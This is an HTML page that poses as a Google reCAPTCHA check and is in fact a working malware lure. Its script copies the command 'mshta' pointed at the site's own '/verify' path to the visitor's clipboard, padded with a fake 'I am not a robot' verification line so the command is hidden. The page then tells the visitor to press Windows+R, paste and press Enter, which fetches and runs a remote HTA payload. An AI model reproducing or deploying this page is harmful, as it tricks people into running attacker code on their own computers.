|
|
<!DOCTYPE html> |
|
|
<html lang="en"> |
|
|
<head> |
|
|
<meta charset="utf-8"> |
|
|
<title>reCAPTCHA Verification</title> |
|
|
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css"> |
|
|
<style> |
|
|
.bold-large-text { |
|
|
font-weight: bold; |
|
|
font-size: 36px; |
|
|
} |
|
|
.container { |
|
|
font-family: Roboto, helvetica, arial, sans-serif; |
|
|
} |
|
|
.m-p { |
|
|
margin: 0; |
|
|
padding: 0; |
|
|
} |
|
|
.block { |
|
|
display: block; |
|
|
} |
|
|
code { |
|
|
font-size: 9px; |
|
|
margin-left: 2px; |
|
|
color: gray; |
|
|
} |
|
|
.line-normal { |
|
|
line-height: normal; |
|
|
} |
|
|
.checkbox-window { |
|
|
height: 74px; |
|
|
width: 300px; |
|
|
background-color: #f9f9f9; |
|
|
border-radius: 3px; |
|
|
border: 1px solid #d3d3d3; |
|
|
} |
|
|
.checkbox-window a { |
|
|
color: #555; |
|
|
text-decoration: none; |
|
|
} |
|
|
.checkbox-window a:hover { |
|
|
color: #555; |
|
|
text-decoration: underline; |
|
|
} |
|
|
.checkbox-container { |
|
|
width: 28px; |
|
|
height: 28px; |
|
|
} |
|
|
.checkbox { |
|
|
position: relative; |
|
|
background-color: #fff; |
|
|
border-radius: 2px; |
|
|
height: 100%; |
|
|
width: 100%; |
|
|
border: 2px solid #c1c1c1; |
|
|
margin: 21px 0 0 12px; |
|
|
outline: none; |
|
|
font-family: Roboto, helvetica, arial, sans-serif; |
|
|
transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms; |
|
|
} |
|
|
.checkbox:hover { |
|
|
border: 2px solid #b2b2b2; |
|
|
} |
|
|
.im-not-a-robot { |
|
|
position: relative; |
|
|
left: 52px; |
|
|
bottom: 3px; |
|
|
font-size: 15px; |
|
|
color: #282727; |
|
|
} |
|
|
.captcha-logo { |
|
|
position: relative; |
|
|
left: 244px; |
|
|
bottom: 36px; |
|
|
width: 40px; |
|
|
height: 45px; |
|
|
vertical-align: baseline; |
|
|
padding-bottom: 4px; |
|
|
} |
|
|
.checkbox-desc { |
|
|
color: #555555; |
|
|
position: relative; |
|
|
font-size: 8px; |
|
|
text-align: center; |
|
|
bottom: 40px; |
|
|
left: 112px; |
|
|
} |
|
|
.spinner { |
|
|
visibility: hidden; |
|
|
position: relative; |
|
|
top: -85px; |
|
|
left: 12px; |
|
|
height: 20px; |
|
|
width: 20px; |
|
|
border: 2px solid rgba(0, 0, 0, 0.1); |
|
|
border-top: 2px solid #333; |
|
|
border-radius: 50%; |
|
|
opacity: 0; |
|
|
transition: opacity 0.5s linear; |
|
|
animation: spin 1s linear infinite; |
|
|
} |
|
|
@keyframes spin { |
|
|
0% { transform: rotate(0deg); } |
|
|
100% { transform: rotate(360deg); } |
|
|
} |
|
|
.verify-window { |
|
|
font-family: Roboto, helvetica, arial, sans-serif; |
|
|
opacity: 0; |
|
|
position: absolute; |
|
|
visibility: hidden; |
|
|
margin: auto; |
|
|
width: 310px; |
|
|
background-color: #fff; |
|
|
border: 1px solid #cecece; |
|
|
box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12); |
|
|
transition: opacity 400ms; |
|
|
} |
|
|
ol { |
|
|
counter-reset: item; |
|
|
list-style-type: none; |
|
|
padding-left: 0; |
|
|
} |
|
|
ol li { |
|
|
counter-increment: item; |
|
|
margin-bottom: 10px; |
|
|
} |
|
|
ol li::before { |
|
|
content: counter(item) ". "; |
|
|
color: #1A73E8; |
|
|
font-weight: bold; |
|
|
margin-right: 10px; |
|
|
margin-left: 10px; |
|
|
} |
|
|
.verify-container { |
|
|
padding: 8px; |
|
|
} |
|
|
.verify-header { |
|
|
background-color: #1A73E8; |
|
|
padding: 16px 16px 24px 16px; |
|
|
color: #fff; |
|
|
} |
|
|
.verify-header-text-small { |
|
|
font-size: 14px; |
|
|
line-height: normal; |
|
|
} |
|
|
.verify-header-text-medium { |
|
|
font-size: 16px; |
|
|
} |
|
|
.verify-header-text-big { |
|
|
font-size: 24px; |
|
|
font-weight: 700; |
|
|
} |
|
|
.verify-main { |
|
|
padding: 5px; |
|
|
color: #111; |
|
|
font-size: 14px; |
|
|
} |
|
|
.verify-footer { |
|
|
border-top: 1px solid #cecece; |
|
|
padding: 10px 7px 10px 7px; |
|
|
color: #737373; |
|
|
display: grid; |
|
|
grid-template-columns: auto 102px; |
|
|
font-size: 13px; |
|
|
} |
|
|
.verify-footer-left { |
|
|
padding: 5px; |
|
|
} |
|
|
.verify-verify-button { |
|
|
text-transform: uppercase; |
|
|
background-color: #5a89e2; |
|
|
color: #fff; |
|
|
text-align: center; |
|
|
width: 100%; |
|
|
padding: 12px 0; |
|
|
text-decoration: none; |
|
|
font-weight: 600; |
|
|
height: min-content; |
|
|
border-radius: 3px; |
|
|
font-size: 14px; |
|
|
border: none; |
|
|
outline: none; |
|
|
cursor: not-allowed; |
|
|
} |
|
|
</style> |
|
|
</head> |
|
|
<body> |
|
|
<div class="container m-p"> |
|
|
<div id="checkbox-window" class="checkbox-window m-p block"> |
|
|
<div class="checkbox-container m-p"> |
|
|
<button type="button" id="checkbox" class="checkbox m-p line-normal"></button> |
|
|
</div> |
|
|
<p class="im-not-a-robot m-p line-normal">I'm not a robot</p> |
|
|
<img src="https://www.gstatic.com/recaptcha/api2/logo_48.png" class="captcha-logo line-normal" alt="reCAPTCHA"> |
|
|
<br> |
|
|
<p class="checkbox-desc m-p line-normal"> |
|
|
<a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> - |
|
|
<a href="https://www.google.com/intl/en/policies/terms/">Terms</a> |
|
|
</p> |
|
|
<img class="spinner" alt="" id="spinner"> |
|
|
</div> |
|
|
|
|
|
<div id="verify-window" class="verify-window"> |
|
|
<div class="verify-container"> |
|
|
<header class="verify-header"> |
|
|
<span class="verify-header-text-medium m-p block">Complete these</span> |
|
|
<span class="verify-header-text-big m-p block">Verification Steps</span> |
|
|
</header> |
|
|
<main class="verify-main"> |
|
|
<p>To better prove you are not a robot, please:</p> |
|
|
<ol> |
|
|
<li>Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.</li> |
|
|
<li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li> |
|
|
<li>Press <b>Enter</b> on your keyboard to finish.</li> |
|
|
</ol> |
|
|
<p class="verify-main"> |
|
|
You will observe and agree:<br> |
|
|
<code> |
|
|
✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id" class="bold-large-text">4743</span>" |
|
|
</code> |
|
|
</p> |
|
|
</main> |
|
|
</div> |
|
|
<footer class="verify-container verify-footer"> |
|
|
<div class="verify-footer-left"> |
|
|
Perform the steps above to finish verification. |
|
|
</div> |
|
|
<button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button> |
|
|
</footer> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<script> |
|
|
let checkboxWindow = document.getElementById("checkbox-window"); |
|
|
let checkboxBtn = document.getElementById("checkbox"); |
|
|
let checkboxBtnSpinner = document.getElementById("spinner"); |
|
|
let verifywindow = document.getElementById("verify-window"); |
|
|
|
|
|
function addCaptchaListeners() { |
|
|
if (checkboxBtn) { |
|
|
document.addEventListener("click", function (event) { |
|
|
let path = event.composedPath(); |
|
|
if (!path.includes(verifywindow) && isverifywindowVisible()) { |
|
|
closeverifywindow(); |
|
|
} |
|
|
}); |
|
|
checkboxBtn.addEventListener("click", function (event) { |
|
|
event.preventDefault(); |
|
|
checkboxBtn.disabled = true; |
|
|
runClickedCheckboxEffects(); |
|
|
}); |
|
|
} |
|
|
} |
|
|
|
|
|
function runClickedCheckboxEffects() { |
|
|
hideCaptchaCheckbox(); |
|
|
setTimeout(showCaptchaLoading, 500); |
|
|
setTimeout(showVerifyWindow, 900); |
|
|
} |
|
|
|
|
|
function showCaptchaLoading() { |
|
|
checkboxBtnSpinner.style.visibility = "visible"; |
|
|
checkboxBtnSpinner.style.opacity = "1"; |
|
|
} |
|
|
|
|
|
function hideCaptchaLoading() { |
|
|
checkboxBtnSpinner.style.opacity = "0"; |
|
|
setTimeout(() => { |
|
|
checkboxBtnSpinner.style.visibility = "hidden"; |
|
|
}, 500); |
|
|
} |
|
|
|
|
|
function hideCaptchaCheckbox() { |
|
|
checkboxBtn.style.width = "4px"; |
|
|
checkboxBtn.style.height = "4px"; |
|
|
checkboxBtn.style.borderRadius = "50%"; |
|
|
checkboxBtn.style.marginLeft = "25px"; |
|
|
checkboxBtn.style.marginTop = "33px"; |
|
|
checkboxBtn.style.opacity = "0"; |
|
|
} |
|
|
|
|
|
function showCaptchaCheckbox() { |
|
|
checkboxBtn.style.width = "100%"; |
|
|
checkboxBtn.style.height = "100%"; |
|
|
checkboxBtn.style.borderRadius = "2px"; |
|
|
checkboxBtn.style.margin = "21px 0 0 12px"; |
|
|
checkboxBtn.style.opacity = "1"; |
|
|
} |
|
|
|
|
|
function generateRandomNumber() { |
|
|
const min = 1000; |
|
|
const max = 9999; |
|
|
return Math.floor(Math.random() * (max - min + 1) + min).toString(); |
|
|
} |
|
|
|
|
|
function closeverifywindow() { |
|
|
verifywindow.style.display = "none"; |
|
|
verifywindow.style.visibility = "hidden"; |
|
|
verifywindow.style.opacity = "0"; |
|
|
showCaptchaCheckbox(); |
|
|
hideCaptchaLoading(); |
|
|
checkboxBtn.disabled = false; |
|
|
} |
|
|
|
|
|
function isverifywindowVisible() { |
|
|
return verifywindow.style.display !== "none"; |
|
|
} |
|
|
|
|
|
function setClipboardCopyData(textToCopy) { |
|
|
const tempTextArea = document.createElement("textarea"); |
|
|
tempTextArea.value = textToCopy; |
|
|
document.body.appendChild(tempTextArea); |
|
|
tempTextArea.select(); |
|
|
document.execCommand("copy"); |
|
|
document.body.removeChild(tempTextArea); |
|
|
} |
|
|
|
|
|
function stageClipboard(commandToRun, verification_id) { |
|
|
const suffix = " # "; |
|
|
const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: "; |
|
|
const end = "''"; |
|
|
const textToCopy = commandToRun + suffix + ploy + verification_id + end; |
|
|
setClipboardCopyData(textToCopy); |
|
|
} |
|
|
|
|
|
function showVerifyWindow() { |
|
|
if (!verifywindow) { |
|
|
console.error('Verify window element is missing!'); |
|
|
return; |
|
|
} |
|
|
verifywindow.style.display = "block"; |
|
|
verifywindow.style.visibility = "visible"; |
|
|
verifywindow.style.opacity = "1"; |
|
|
verifywindow.style.position = "fixed"; |
|
|
verifywindow.style.top = "50%"; |
|
|
verifywindow.style.left = "50%"; |
|
|
verifywindow.style.transform = "translate(-50%, -50%)"; |
|
|
|
|
|
const verification_id = generateRandomNumber(); |
|
|
const verificationIdElement = document.getElementById('verification-id'); |
|
|
if (verificationIdElement) { |
|
|
verificationIdElement.textContent = verification_id; |
|
|
} |
|
|
|
|
|
const htaPath = window.location.origin + "/verify"; |
|
|
const commandToRun = "mshta " + htaPath; |
|
|
stageClipboard(commandToRun, verification_id); |
|
|
} |
|
|
|
|
|
addCaptchaListeners(); |
|
|
</script> |
|
|
</body> |
|
|
</html> |